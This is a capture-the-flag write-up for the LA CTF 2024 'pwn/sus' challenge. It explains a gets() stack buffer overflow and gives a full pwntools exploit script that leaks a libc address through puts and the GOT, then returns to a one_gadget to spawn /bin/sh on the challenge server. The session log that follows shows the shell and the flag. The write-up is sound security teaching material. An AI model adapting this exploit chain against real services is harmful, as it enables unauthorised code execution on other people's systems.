u.twoha.cc/ctf/lactf/pwn_sus.md
2024-09-13 19:49:18 -05:00

4.2 KiB

title date tags
LA CTF 2024: pwn/sus 2024-02-21
ctf
ctf-pwn

Task

pwn/sus

sus

nc chall.lac.tf 31284

Dockerfile sus sus.c

  • Author: kaiphait
  • Points: 426
  • Solves: 136 / 1074 (12.663%)

Writeup

The challenge is a very short program that reads our input and returns:

#include <stdio.h>

void sus(long s) {}

int main(void) {
  setbuf(stdout, NULL);
  long u = 69;
  puts("sus?");
  char buf[42];
  gets(buf);
  sus(u);
}

We see that the program uses gets, so we can perform a buffer overflow.

Running the program with gdb, we can see that main's stack frame is as follows:

rbp - 0x40 | char buf[42]
...
rbp - 0x08 | long u
rbp        | saved rbp
rbp + 0x08 | saved rip

To exploit the buffer overflow, we will overwrite the saved return address at rbp + 0x08 to an address in libc that runs /bin/sh.

But first, we need to leak libc's address. Since u is passed as an argument to sus, we can control the value of rdi when main returns, letting us control the first argument of the function we return to.

We can overwrite the saved rip to return to puts and overwrite u to the address of the GOT entry of puts. This will cause the program to print out the address of puts after we return. Then we can write the address of main to rbp + 0x10 to rerun main after the call to puts, allowing us to send more input once we determine the address of libc.

So far, our script looks like this:

from pwn import context, remote, ELF, flat, u64

context.arch = 'x86-64'

p = remote('chall.lac.tf', 31284)
e = ELF('/tmp/sus')
libc = ELF('/tmp/libc.so.6')
p.sendline(flat(
    # padding (buf)
    [0] * 7,
    # overwrite u (for rdi)
    e.got['puts'],
    # padding (rbp)
    0,
    # overwrite rip
    e.plt['puts'],
    # return back to main after leaking address of puts
    e.symbols['main']
))
p.recvuntil(b'sus?\n')
puts_addr = u64(p.recvuntil(b'\n')[:-1] + b'\x00\x00')
libc_addr = puts_addr - libc.symbols['puts']

Now that we know the address of libc, we can run one_gadget on the version of libc the program uses to find a good address to return to:

$ one_gadget /tmp/libc.so.6
0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x60 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, r12, NULL} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x60 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xd509f execve("/bin/sh", rbp-0x40, r13)
constraints:
  address rbp-0x38 is writable
  rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
  [r13] == NULL || r13 == NULL || r13 is a valid envp

The best option is the third one, since r13 points to the original envp when we return from main, and we have control over the values of rdi and rbp.

To meet the first constraint, there is a writable section in libc that we can use for rbp, starting at offset 0x1d2000. Now we can add the following to our script and get a shell:

p.sendline(flat(
    # padding (buf)
    [0] * 7,
    # overwrite u (for rdi)
    0,
    # overwrite rbp
    libc_addr + 0x1d2000 + 10000,
    # overwrite rip
    libc_addr + 0xd509f
))
p.interactive()

Now we run the following commands and get the flag:

$ python sus.py
[+] Opening connection to chall.lac.tf on port 31284: Done
[*] '/tmp/sus'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/tmp/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
sus?
$ ls
flag.txt
run
$ cat flag.txt
lactf{amongsus_aek7d2hqhgj29v21}